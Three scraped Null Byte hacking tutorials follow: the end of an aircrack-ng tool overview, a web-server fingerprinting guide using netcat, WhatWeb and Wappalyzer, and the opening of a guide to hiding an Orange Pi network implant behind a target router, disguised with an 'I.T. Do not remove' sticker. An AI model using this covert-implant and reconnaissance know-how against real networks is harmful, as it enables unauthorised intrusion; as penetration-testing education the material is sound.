can use airtun-ng to set up a virtual tunnel that connects to an IDS like Snort to send us alerts.Step 8: Airolib-NgAirolib-ngstores or manages ESSID's (the name of the access point) and password lists that will help speed up WPA/WPA2 password cracking.Step 9: Airbase-NgAirbase-ngenables us to turn our laptop and wireless card into an AP. This can be especially useful when doing a rogue access point or evil twin attacks. Basically, airbase-ng allows us to attack the clients, rather than the AP, and encourages the clients to associate with us rather than the real AP.That's It for NowThese are the primary tools in the aircrack-ng suite that we'll be using as we explore Wi-F hacking. There are other tools, but these are the ones we'll be focusing on. If you're looking for a cheap, handy platform to get started working with aircrack, check out our Kali Linux Raspberry Pi build usingthe $35 Raspberry Pi.Aircrack-ng works great on the Kali Linux Raspberry Pi.Image by SADMIN/Null ByteGet Started Hacking Today:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxIn our next guide, we'll start our exploration of wireless hacking techniques with creating a evil twin access point, so make sure to keep coming back. If you have any questions, please comment below or start a discussion in theNull Byte forumand we'll try to help you out.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseAerial symbolandWireless routerphotos via ShutterstockRelatedHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network β€”UndetectedHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)How To:Hack Wi-Fi Networks with BettercapHow To:Spy on Network Relationships with Airgraph-NgHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow to Hack Wi-Fi:Creating an Evil Twin Wireless Access Point to Eavesdrop on DataHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Hack Open Hotel, Airplane & Coffee Shop Wi-Fi with MAC Address SpoofingNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Crack Wi-Fi Passwordsβ€”For Beginners!How To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Fix the Wi-Fi Roaming Bug on Your Samsung Galaxy S3How To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android Device
Fingerprint Web Apps & Servers for Better Recon & More Successful Hacks Β« Null Byte :: WonderHowTo
Web applicationsare ubiquitous in the modern online world, and knowing how to attack them is an increasingly valuable skill. But the key to a successful attack is good recon since it's easier to be focused and efficient with the more information you have. There are many fingerprinting tools available, such ashttprintandWebTech, but there are even more that can aid us in reconnaissance.Common Frameworks & TechnologiesGone are the days of simple websites using HTML, CSS, and vanillaJavaScript. Frameworks dominate the landscape today, providing a robust and modular approach to modern web development. And with more complicated web apps comes more data, so there are now more types ofdatabasesthan ever.MySQL, SQL Server, and Oracle are still around, but newer players like Redis,PostgreSQL, and MongoDB are gaining popularity.Don't Miss:How to Fingerprint an Entire Network Using a Domain NameAs far as frameworks go,JavaScript-based ones are arguably the most popular. React, Angular, and Node continue to be widely used, as well as Meteor, Ember, and Backbone. In thePHParena, you have Symfony, Cake, and Laravel. Django and Flask are both tried-and-true frameworks built onPython, and of course, there is Microsoft's ASP.NET and Ruby on Rails.Method 1: NetcatNetcatis a popular networking tool used to troubleshoot and communicate via TCP/IP. For most hackers, what immediately comes to mind is using it forreverse shells, but it can also be used to fingerprint web servers. To initiate a connection, simply supply the host and port you wish to connect to:~# nc google.com 80 β–ˆ GET / HTTP/1.1 Host: google.comNow, it will seem like nothing happened; we have to issue a command, in this case, a GET request. PressEnterand specify the host.GET / HTTP/1.1 Host: google.comPressEntertwice again and we should see the response:HTTP/1.1 301 Moved Permanently Location: http://www.google.com/ Content-Type: text/html; charset=UTF-8 Date: Mon, 04 May 2021 15:57:50 GMT Expires: Wed, 03 Jun 2021 15:57:50 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 219 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN ...We can see that this is a 301 redirect (since Google uses HTTPS), but we can also see the type ofserverand some header information.Method 2: WhatWebThe next tool we'll use to fingerprint is WhatWeb, a scanner specifically designed to gather information about aweb applicationor server. Typewhatwebat theterminalto bring up the help:~# whatweb .$$$ $. .$$$ $. $$$$ $$. .$$$ $$$ .$$$$$$. .$$$$$$$$$$. $$$$ $$. .$$$$$$$. .$$$$$$. $ $$ $$$ $ $$ $$$ $ $$$$$$. $$$$$ $$$$$$ $ $$ $$$ $ $$ $$ $ $$$$$$. $ `$ $$$ $ `$ $$$ $ `$ $$$ $$' $ `$ `$$ $ `$ $$$ $ `$ $ `$ $$$' $. $ $$$ $. $$$$$$ $. $$$$$$ `$ $. $ :' $. $ $$$ $. $$$$ $. $$$$$. $::$ . $$$ $::$ $$$ $::$ $$$ $::$ $::$ . $$$ $::$ $::$ $$$$ $;;$ $$$ $$$ $;;$ $$$ $;;$ $$$ $;;$ $;;$ $$$ $$$ $;;$ $;;$ $$$$ $$$$$$ $$$$$ $$$$ $$$ $$$$ $$$ $$$$ $$$$$$ $$$$$ $$$$$$$$$ $$$$$$$$$' WhatWeb - Next generation web scanner version 0.5.1. Developed by Andrew Horton (urbanadventurer) and Brendan Coles (bcoles) Homepage: https://www.morningstarsecurity.com/research/whatweb Usage: whatweb [options] <URLs> <TARGETs> Enter URLs, hostnames, IP addresses, filenames or IP ranges in CIDR, x.x.x-x, or x.x.x.x-x.x.x.x format. --input-file=FILE, -i Read targets from a file. --aggression, -a=LEVEL Set the aggression level. Default: 1. 1. Stealthy Makes one HTTP request per target and also follows redirects. 3. Aggressive If a level 1 plugin is matched, additional requests will be made. --list-plugins, -l List all plugins. --info-plugins, -I=[SEARCH] List all plugins with detailed information. Optionally search with a keyword. --verbose, -v Verbose output includes plugin descriptions. Note: This is the short usage help. For the complete usage help use -h or --help.This gives us basic usage and a few options, enough to use the tool successfully. More detailed help information can be viewed using the-hflag:~# whatweb -h .$$$ $. .$$$ $. $$$$ $$. .$$$ $$$ .$$$$$$. .$$$$$$$$$$. $$$$ $$. .$$$$$$$. .$$$$$$. $ $$ $$$ $ $$ $$$ $ $$$$$$. $$$$$ $$$$$$ $ $$ $$$ $ $$ $$ $ $$$$$$. $ `$ $$$ $ `$ $$$ $ `$ $$$ $$' $ `$ `$$ $ `$ $$$ $ `$ $ `$ $$$' $. $ $$$ $. $$$$$$ $. $$$$$$ `$ $. $ :' $. $ $$$ $. $$$$ $. $$$$$. $::$ . $$$ $::$ $$$ $::$ $$$ $::$ $::$ . $$$ $::$ $::$ $$$$ $;;$ $$$ $$$ $;;$ $$$ $;;$ $$$ $;;$ $;;$ $$$ $$$ $;;$ $;;$ $$$$ $$$$$$ $$$$$ $$$$ $$$ $$$$ $$$ $$$$ $$$$$$ $$$$$ $$$$$$$$$ $$$$$$$$$' WhatWeb - Next generation web scanner version 0.5.1. Developed by Andrew Horton (urbanadventurer) and Brendan Coles (bcoles). Homepage: https://www.morningstarsecurity.com/research/whatweb Usage: whatweb [options] <URLs> TARGET SELECTION: <TARGETs> Enter URLs, hostnames, IP addresses, filenames or IP ranges in CIDR, x.x.x-x, or x.x.x.x-x.x.x.x format. --input-file=FILE, -i Read targets from a file. You can pipe hostnames or URLs directly with -i /dev/stdin. TARGET MODIFICATION: --url-prefix Add a prefix to target URLs. --url-suffix Add a suffix to target URLs. --url-pattern Insert the targets into a URL. e.g. example.com/%insert%/robots.txt AGGRESSION: The aggression level controls the trade-off between speed/stealth and reliability. --aggression, -a=LEVEL Set the aggression level. Default: 1. 1. Stealthy Makes one HTTP request per target and also follows redirects. 3. Aggressive If a level 1 plugin is matched, additional requests will be made. 4. Heavy Makes a lot of HTTP requests per target. URLs from all plugins are attempted. HTTP OPTIONS: --user-agent, -U=AGENT Identify as AGENT instead of WhatWeb/0.5.1. --header, -H Add an HTTP header. eg "Foo:Bar". Specifying a default header will replace it. Specifying an empty value, e.g. "User-Agent:" will remove it. --follow-redirect=WHEN Control when to follow redirects. WHEN may be `never', `http-only', `meta-only', `same-site', or `always'. Default: always. --max-redirects=NUM Maximum number of redirects. Default: 10. ... EXAMPLE USAGE: * Scan example.com. ./whatweb example.com * Scan reddit.com slashdot.org with verbose plugin descriptions. ./whatweb -v reddit.com slashdot.org * An aggressive scan of wired.com detects the exact version of WordPress. ./whatweb -a 3 www.wired.com * Scan the local network quickly and suppress errors. whatweb --no-errors 192.168.0.0/24 * Scan the local network for https websites. whatweb --no-errors --url-prefix https:// 192.168.0.0/24 * Scan for crossdomain policies in the Alexa Top 1000. ./whatweb -i plugin-development/alexa-top-100.txt \ --url-suffix /crossdomain.xml -p crossdomain_xmlWe can see more detailed options now and a few more usage examples. The simplest way to run WhatWeb is by giving it a host to scan:~# whatweb google.com /usr/lib/ruby/vendor_ruby/target.rb:188: warning: URI.escape is obsolete /usr/lib/ruby/vendor_ruby/target.rb:188: warning: URI.escape is obsolete http://google.com [301 Moved Permanently] Country[UNITED STATES][US], HTTPServer[gws], IP[172.217.6.14], RedirectLocation[http://www.google.com/], Title[301 Moved], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0] http://www.google.com/ [200 OK] Cookies[1P_JAR,NID], Country[UNITED STATES][US], HTML5, HTTPServer[gws], HttpOnly[NID], IP[172.217.4.36], Script, Title[Google], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0]It throws a couple of errors (which can be ignored) and spits out some information about the web server, including HTTP status codes,cookie information, and an IP address. This is certainly useful, but the output is a little hard to read β€” we can use the-voption to give us verbose output in a format that's much easier on the eyes:~# whatweb google.com -v /usr/lib/ruby/vendor_ruby/target.rb:188: warning: URI.escape is obsolete /usr/lib/ruby/vendor_ruby/target.rb:188: warning: URI.escape is obsolete WhatWeb report for http://google.com Status : 301 Moved Permanently Title : 301 Moved IP : 172.217.6.14 Country : UNITED STATES, US Summary : X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0], RedirectLocation[http://www.google.com/], HTTPServer[gws] Detected Plugins: [ HTTPServer ] HTTP server header string. This plugin also attempts to identify the operating system from the server header. String : gws (from server string) [ RedirectLocation ] HTTP Server string location. used with http-status 301 and 302 String : http://www.google.com/ (from location) [ X-Frame-Options ] This plugin retrieves the X-Frame-Options value from the HTTP header. - More Info: http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29. aspx String : SAMEORIGIN [ X-XSS-Protection ] This plugin retrieves the X-XSS-Protection value from the HTTP header. - More Info: http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29. aspx String : 0 HTTP Headers: HTTP/1.1 301 Moved Permanently Location: http://www.google.com/ Content-Type: text/html; charset=UTF-8 Date: Mon, 04 May 2021 16:09:45 GMT Expires: Wed, 03 Jun 2021 16:09:45 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 219 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Connection: close WhatWeb report for http://www.google.com/ Status : 200 OK Title : Google IP : 172.217.4.36 Country : UNITED STATES, US Summary : X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0], Cookies[1P_JAR,NID], HttpOnly[NID], Script, HTML5, HTTPServer[gws] Detected Plugins: [ Cookies ] Display the names of cookies in the HTTP headers. The values are not returned to save on space. String : 1P_JAR String : NID [ HTML5 ] HTML version 5, detected by the doctype declaration [ HTTPServer ] HTTP server header string. This plugin also attempts to identify the operating system from the server header. String : gws (from server string) [ HttpOnly ] If the HttpOnly flag is included in the HTTP set-cookie response header and the browser supports it then the cookie cannot be accessed through client side script - More Info: http://en.wikipedia.org/wiki/HTTP_cookie String : NID [ Script ] This plugin detects instances of script HTML elements and returns the script language/type. [ X-Frame-Options ] This plugin retrieves the X-Frame-Options value from the HTTP header. - More Info: http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29. aspx String : SAMEORIGIN [ X-XSS-Protection ] This plugin retrieves the X-XSS-Protection value from the HTTP header. - More Info: http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29. aspx String : 0 HTTP Headers: HTTP/1.1 200 OK Date: Mon, 04 May 2021 16:09:47 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=ISO-8859-1 P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Encoding: gzip Server: gws Content-Length: 5762 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2021-05-04-16; expires=Wed, 03-Jun-2021 16:09:47 GMT; path=/; domain=.google.com; Secure Set-Cookie: NID=203=fEPs6hoaoVclld1HAxHMHF2N4gT5yNy6kBVL-abAzpg1fqqB4Yk4PJGOgdveogjY_ThytkYwmmLc4oVHA95jaQRujiByZ96QiPkheajk5hkPzL1LZyCF5kX_L3uHnLi9H9JpbEYk6FrjPNWMIOZjANYd7fpPaAj1emJPDwc-Clk; expires=Tue, 03-Nov-2021 16:09:47 GMT; path=/; domain=.google.com; HttpOnly Connection: closeThis output is not only more detailed and easier to read but also more useful if being utilized in ascript. We can also save the output to a file. To log the shorter output, use the--log-briefoption, followed by the name of the file to write to:~# whatweb google.com --log-brief brief.txt /usr/lib/ruby/vendor_ruby/target.rb:188: warning: URI.escape is obsolete /usr/lib/ruby/vendor_ruby/target.rb:188: warning: URI.escape is obsolete http://google.com [301 Moved Permanently] Country[UNITED STATES][US], HTTPServer[gws], IP[172.217.8.174], RedirectLocation[http://www.google.com/], Title[301 Moved], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0] http://www.google.com/ [200 OK] Cookies[1P_JAR,NID], Country[UNITED STATES][US], HTML5, HTTPServer[gws], HttpOnly[NID], IP[172.217.4.36], Script, Title[Google], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0]And to log the verbose output, use the--log-verboseoption:~# whatweb google.com --log-verbose verbose.txt /usr/lib/ruby/vendor_ruby/target.rb:188: warning: URI.escape is obsolete /usr/lib/ruby/vendor_ruby/target.rb:188: warning: URI.escape is obsolete http://google.com [301 Moved Permanently] Country[UNITED STATES][US], HTTPServer[gws], IP[172.217.6.14], RedirectLocation[http://www.google.com/], Title[301 Moved], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0] http://www.google.com/ [200 OK] Cookies[1P_JAR,NID], Country[UNITED STATES][US], HTML5, HTTPServer[gws], HttpOnly[NID], IP[172.217.4.36], Script, Title[Google], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0]Method 3: WappalyzerThe next fingerprinting method we'll use isWappalyzer, abrowser extensionthat identifies the technologies a website uses when you visit the page. It's an extremely easy way to gather information about a target while manually enumerating webpages.To get Wappalyzer, navigate to the extensions manager inFirefoxand search for it in the search bar:Next, click the "Add to Firefox" button:And accept the permission requirements:A notification will pop up confirming that Wappalyzer was added to Firefox β€” make sure to check the "Allow this extension to run in Private Windows" box:Now that it's successfully installed, it redirects us to the Wappalyzer home page. You'll now notice a new icon on the right-hand side of the URL bar:When we browse to a website, we can click on that icon to display information about the webpage and server:Method 4: OnlineThe final method we'll use tofingerprintweb apps and servers is arguably the easiest β€” we can do it entirely online. All we have to do on these sites is supply the website or host and all the technologies and frameworks in use will be identified.The first site we will use isBuiltWith:Simply enter the target and it will create a technology profile for us:Scrolling down we can see some of the technologies in use:The next fingerprinting site we'll look at isW3Techs:Again, just enter a URL and it will give us an overview of the web technologies in use:W3Techs even includes some visitor location stats, and if we scroll down we can see more detailed information:Wrapping UpToday, we learned about some of the popular web technologies and frameworks and how to fingerprint them to aid in reconnaissance. First, we used Netcat to connect via HTTP and grab information about the server. Next, we explored WhatWeb, a tool specifically designed to perform fingerprinting. After that, we covered some online options, including the Wappalyzer browser extension and a couple of sites that automatically identify web technologies.Don't Miss:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byFree-Photos/Pixabay; Screenshots by drd_/Null ByteRelatedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)Hack Like a Pro:How to Fingerprint Web Servers Using HttprintHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Conduct Recon on a Web Target with Python ToolsHack Like a Pro:How to Hack Like the NSA (Using Quantum Insert)Advanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Fingerprint-Lock Apps on Android Without a Fingerprint ScannerHow To:Secure Any Android App with Your FingerprintHow To:Turn Off Your Android's Screen with Your Fingerprint ScannerHow To:Create a MySQL Server BruteForce Tool with PythonHow To:Identify Web Application Firewalls with Wafw00f & NmapHow To:Get the Pixel's Fingerprint Swipe Notification Gesture on Other DevicesHow To:Lock Apps Using Your Samsung Galaxy S6’s Fingerprint ScannerHow To:Lock Any App with a Fingerprint on Android MarshmallowNews:How to Study for the White Hat Hacker Associate Certification (CWA)News:Researchers Find 'MasterPrints' That Can Bypass Your Phone's Fingerprint ScannerHow To:Lock Any App with Fingerprint Security on Your Galaxy S5Android for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:7 Must-Know Tricks to Master Your Samsung Galaxy S7How To:Use BeEF and JavaScript for ReconnaissanceHow To:Use Your Fingerprint Scanner to Do Almost Anything with TaskerHack Like a Pro:The Hacker MethodologyHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHow To:Turn on Google Pixel's Fingerprint Swipe Notification GestureHow To:Use All 10 Fingerprints for Touch ID on Your iPhone β€” Not Just 5 of ThemNews:Samsung Scraps In-Display Fingerprint Scanner for Galaxy Note 8Hack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)News:New Biometrics Update Makes the Galaxy S10's Fingerprint Scanner 4 Times FasterCanvas Fingerprinting:How to Stop the Web's Sneakiest Tracking Tool in Your BrowserGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHow To:Run a Free Web Server From Home on Windows or Linux with ApacheCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:Code a Basic TCP/IP Client & Server Duo in PythonNews:New Apps Let You Sign into Bank of America, Chase, & State Farm with Your Fingerprint
How to Set Up Network Implants with a Cheap SBC (Single-Board Computer) Β« Null Byte :: WonderHowTo
With a cheap computer,smaller than the Raspberry Pi, an attacker can create a remote hacking device. The device can be attached to a target router without anyone's knowledge and enable the hacker to perform a variety of network-based attacks from anywhere in the world.As the name infers,network implantsare small, physical devices (e.g., Raspberry Pi) that can be discreetly attached to computers and routers. These devices are typically implanted without anyone's knowledge and disguised to blend into the environment.Much likeHak5's LAN Turtle, this attack requires a physical device on the target network or router. Without any port-forwarding, firewall exceptions, or interactions with the router settings, the implanted device will automatically connect to the internet. The device will act as a remote access tool (RAT), giving an attacker the ability to manipulate data on the network and all of the connected devices.Instead of using a commercial product thatnormally retails for $200(USD), I'll show how a hacker could set up a cheap single-board computer (SBC) similar to the infamousRaspberry Pi.Don't Miss:How to Build a Portable Pen-Testing Pi BoxThe SBC featured in this article is theOrange Pi Zero, aka OPi Zero, though, there areother possibilities. The OPi Zero is a small board with acortex-A7 CPU and 512 MB of memory. That may not sound like a lot of RAM, but it's more than enough to perform man-in-the-middle attacks, advancedNmapscans, and brute-force attacks while hosting a Wi-Fi hotspot and runningTorfor remote access. It's a small, lightweight computer, but still impressively powerful.Image by tokyoneon/Null ByteThe Orange Pi Zero can be purchased onAmazon for $19.99(USD) or via outlets likeAliExpress. There is also theOrange Pi Zero H2,Orange Pi Zero Plus 2, andOrange Pi Zero Plus H5. You can view Orange Pi'sfull store on Amazon.Recommended on Amazon:Orange Pi Zero 512 MB + Protective White CaseWhy Not Use the Raspberry Pi?It's certainly possible to use theRaspberry Pi 3 Model B+β€” a great SBC with superior CPU and RAM compared to the Orange Pi Zero. Similarly, theRaspberry Pi Zeroalsoretails for less than $20(USD) and is just as small as the Orange Pi Zero. But the latter was chosen for several reasons.Price: The Orange Pi Zero features a great CPU for a low price. The Raspberry Pi 3 B+ is slightly more expensive than the Orange Pi Zero, which makes the Raspberry Pi a bit less disposable. After planting the SBC on the target router, it may not be recoverable (depending on the scenario) or discovered and confiscated by someone on the network. If it's lost during a penetration-testing engagement, the loss isn't quite as severe.Ethernet: The attack relies on an SBC with an Ethernet port, which is used to interface with the target router directly. The Raspberry Pi Zero, while also small and inexpensive, doesn't feature an Ethernet port. It does have gigabit Ethernet over USB 2.0, but that means buying anEthernet to USB adapter.Performance: Benchmarks performed with the Raspberry Pi 3 B+, Raspberry Pi Zero, and Orange Pi Zero are relatively conclusive. TheOrange Pi Zero outperforms the Raspberry Pi Zero at every testwhile being comparable in price. In most cases, the Orange Pi Zero performed similarly (or better than) the Raspberry Pi 2 (shown below).Image by MickMake/YouTubeWith the Orange Pi Zero, we're getting the performance of a Raspberry Pi 2 and older at the price of the Raspberry Pi Zero. Really, as far as hardware specs go, the Raspberry Pi 3 B+ is overkill for what's required. In fact, theNanoPi NEO-LTSβ€” which is even smaller than the Orange Pi Zero β€” will likely perform well in this kind of attack.PrerequisitesTo perform this attack, the following components are required:Orange Pi Zero: It can be purchased conveniently onAmazon for $19.99(USD). Again, the Orange Pi Zero can be substituted with a Raspberry Pi 2 or older if money and disposability are non-issues. However, keep in mind, all of the commands and instructions featured in this article are intended for the Orange Pi Zero. Be mindful of this going forward if a Raspberry Pi is used instead.Ethernet cable: A short, six-inch Ethernet cable is idle for this attack. The idea is to hide the Orange Pi Zero behind the router. A lengthy Ethernet cable protruding from the router will probably be too obvious. A shorter Ethernet cable can be wrapped or tucked to make it more concealable.USB charging cable: A short, six-inch USB to Micro-USB cable is required to power the Orange Pi Zero. Most modern routers feature one or more USB ports on the back, which can be used to power the device. Alternatively, apower bankor five-volt power supply may be used if they can be easily concealed.MicroSD card: The microSD card is required to host the operating system. Any microSD card over 8 GB is size will be adequate for most scenarios. The operating system allocated only 1.1 GB in my tests. After installing many hacking tools and packages, there's still over 7 GB of available space on the microSD card.MicroSD card reader: If your microSD card came with amicroSD to SD card adapterand you have an SD slot on your computer, that's all you'll need. If not, you'll need to get an adapter oruse a microSD card reader via USB. We need a way to connect the microSD to the computer so the OS can be loaded.Protective case/enclosure(optional): It may be desirable to enclose the Orange Pi Zero in a protective casing, which may make it more discreet and appear benign to someone less informed who discovers it behind the router. To most people, a black cube is probably not as frightening as a bare single board computer. The addition of a sticker that reads "I.T. Do not remove" might also go a long way in social engineering targets into believing the device was placed there by the network administrator(s).Image by tokyoneon/Null ByteTarget Router RequirementsNot every router is going to be an idle candidate for network implant attacks. Older routers or highly-secure network environments may pose particular challenges.Available USB port: As mentioned, a router with an available USB port would be ideal for powering the Orange Pi Zero while it's in use. Power banks can be used if there are no USB ports open. In my test with a3350 mAh portable battery, the Orange Pi Zero remained powered on for 10 hours straight while under a medium/heavy workload.Available Ethernet port: The attack relies on an available Ethernet port on the router. On busier networks, all of the Ethernet ports may be occupied. In that scenario, theOrange Pi R1, which features two Ethernet ports, can be used as a kind of Ethernet man-in-the-middle attack similar to Hak5'sPacket Squirrel.DHCP enabled:DHCPis essential for the Orange Pi Zero to acquire an IP address automatically when connected to the router. Most routers have a DHCP service running and freely issue an IP address to any Ethernet-connected device. In hardened,highly-secure environmentslike banks and corporate companies, more advancedstaticorauthenticationedconfigurations may be required. These scenarios are beyond the scope of this article, so for now, test this on routers that support DHCP.Image by tokyoneon/Null ByteStep 1: Download the Orange Pi Armbian ImageWith all of the hardware components acquired and the target router set up, we can start building the Orange Pi Zero for this attack. Download theArmbian Orange Pi Zero image, available on their website. In Kali, this can be done using thewgetcommand.~$ wget 'https://dl.armbian.com/orangepizero/Debian_stretch_next.7z' --2019-04-12 22:04:50-- https://dl.armbian.com/orangepizero/Debian_stretch_next.7z Resolving dl.armbian.com (dl.armbian.com)... 193.40.101.96 Connecting to dl.armbian.com (dl.armbian.com)|193.40.101.96|:443... connected. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://dl.armbian.com/orangepizero/archive/Armbian_5.75_Orangepizero_Debian_stretch_next_4.19.20.7z [following] --2019-04-12 22:04:55-- https://dl.armbian.com/orangepizero/archive/Armbian_5.75_Orangepizero_Debian_stretch_next_4.19.20.7z Reusing existing connection to dl.armbian.com:443. HTTP request sent, awaiting response... 200 OK Length: 262124041 (250M) [application/x-7z-compressed] Saving to: β€˜Debian_stretch_next.7z’ Debian_stretch_next.7z 100%[====================================================>] 249.98M 283KB/s in 16m 26s 2019-04-12 22:21:22 (260 KB/s) - β€˜Debian_stretch_next.7z’ saved [262124041/262124041]The 7z format is a kind of compressed file type (e.g., ZIP). The Debian image can be extracted using the7zcommand. If 7z isn't installed, use the below command.~$ apt-get install p7zip-full -V Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: p7zip (16.02+dfsg-6) Suggested packages: p7zip-rar (16.02-3) The following NEW packages will be installed: p7zip (16.02+dfsg-6) p7zip-full (16.02+dfsg-6) 0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded. Need to get 1,540 kB of archives. After this operation, 5,780 kB of additional disk space will be used. Do you want to continue? [Y/n]Then, extract (x) the image.~$ 7z x Debian_stretch_next.7z 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,3 CPUs Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz (906EA),ASM,AES-NI) Scanning the drive for archives: 1 file, 262124041 bytes (250 MiB) Extracting archive: Debian_stretch_next.7z -- Path = Debian_stretch_next.7z Type = 7z Physical Size = 262124041 Headers Size = 297 Method = LZMA2:25 Solid = + Blocks = 1 Everything is Ok Files: 4 Size: 1124093008 Compressed: 262124041To view the extracted image, use thelscommand. Notice the "Armbian_5.75_Orangepizero_Debian_stretch_next_4.19.20.img" file. This file will be used to install Debian on the microSD card intended for the Orange Pi Zero.~$ ls -l -rwxrwx--- 1 root root 1124073472 Feb 10 07:59 Armbian_5.75_Orangepizero_Debian_stretch_next_4.19.20.img -rwxrwx--- 1 root root 833 Feb 10 07:59 Armbian_5.75_Orangepizero_Debian_stretch_next_4.19.20.img.asc -rwxrwx--- 1 root root 18579 Feb 10 07:59 armbian.txt -rwxrwx--- 1 root root 262124041 Apr 13 05:58 Debian_stretch_next.7z -rwxrwx--- 1 root root 124 Feb 10 07:59 sha256sum.shaStep 2: Write the OS to the MicroSD CardInsert the microSD card into the computer running Kali. If the microSD card you got came with amicroSD to SD card adapter, use that in the SD slot in your computer. Otherwise, you may need toget oneor get amicroSD card readeryou can connect via USB. Immediately after connecting the microSD card to the computer, open a terminal and use thedmesgcommand to view information about the microSD card.~$ dmesg [ 31.283694] usb 2-1: new SuperSpeed Gen 1 USB device number 2 using xhci_hcd [ 31.340852] usb 2-1: New USB device found, idVendor=0bda, idProduct=0306, bcdDevice= 1.17 [ 31.340859] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 31.340864] usb 2-1: Product: USB3.0 Card Reader [ 31.340868] usb 2-1: Manufacturer: Realtek [ 31.340872] usb 2-1: SerialNumber: [ 31.426677] usb-storage 2-1:1.0: USB Mass Storage device 